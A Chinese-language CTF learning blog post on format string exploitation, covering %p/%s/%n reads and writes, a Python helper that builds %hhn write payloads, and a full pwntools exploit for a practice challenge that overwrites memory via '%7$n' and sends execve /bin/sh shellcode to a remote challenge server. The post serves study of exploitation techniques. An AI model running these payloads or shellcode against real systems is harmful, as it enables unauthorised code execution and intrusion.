pwn----Fmtstr(一)

终于进格式化漏洞了,也终于把攻防世界的新手题做完了
先说说原理叭叭叭
常见的好吧就是print函数,根据格式化字符串来输出信息,可以进行写信息
详细请见格式化字符串
下面分别举例子
(一切的根本是可以控制格式化字符串为你想要的东西)

读取信息

  1. 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
  2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
  3. 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容

写入信息

主要依靠,type类型【n】
pwn----Fmtstr(一)_第1张图片
注意这里的偏移计算,主要是找到储存内容的偏移,而不是储存字符串地址的偏移
image.png
pwngdb中这个玩意可以帮助我们数数
读入小于4的正整数
pwn----Fmtstr(一)_第2张图片
这样可以把地址内容改为2
读入大数
有个函数可以直接利用

##big num

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)

构建函数填入即可
当然也可以利用封装函数写入一个地址,上面的就写入大数

*  pwntools 中的 fmtstr_payload 函数,比较方便获取我们希望得到的结果,有兴趣的可以查看官方文档尝试。比如这里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我希望在 puts_got 地址处写入 system_addr 地址。默认情况下是按照字节来写的。

感觉做这些题的要先把程序弄懂
攻防世界string
image.png

(还好没开PIE【doge】)
ida就算了,讲讲值得注意的地方
image.png
注意这里直接改成了函数指针类型,说明写入的数据可以直接运行,所以可以直接从上面写入shellcode
关键是怎么进入,发现进去条件是最开始的v[0]=v[1],但是没有可以让我们修改的地方,这个时候发现有printf的漏洞可以利用
![上传中...]()
image.png
就可以利用这一的漏洞修改相应的地址
![上传中...]()
image.png
在偏移为七的地方发现可以利用的参数(1+6)
然后因为第二个scanf是%s,输入地址会被截断。不能利用这个进行内存覆写(我真傻,真的)
WA

# coding=utf-8

from pwn import *

context.log_level = 'debug'    

#!usr/bin/python





io = remote('111.200.241.244',43027)



# io = process('./string')



io.recvuntil("secret[0] is ")



v3_0_addr = int(io.recvuntil("\n")[:-1], 16)



log.info("v3_0_addr:" + hex(v3_0_addr))



io.recvuntil("character's name be:")



io.sendline("kk")



io.recvuntil("east or up?:")



io.sendline("east")



io.recvuntil("there(1), or leave(0)?:")



io.sendline("1")



io.recvuntil("'Give me an address'")



io.sendline(str(v3_0_addr))



io.recvuntil("you wish is:")



io.sendline( 'a'*85+ "%7$n")



# shellcode = asm(shellcraft.sh()) #生成的shellcode攻击失败,所以使用反汇编的shellcode



shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"



io.recvuntil("USE YOU SPELL")



io.sendline(shellcode)



io.interactive()

以上

你可能感兴趣的:(安全ctf)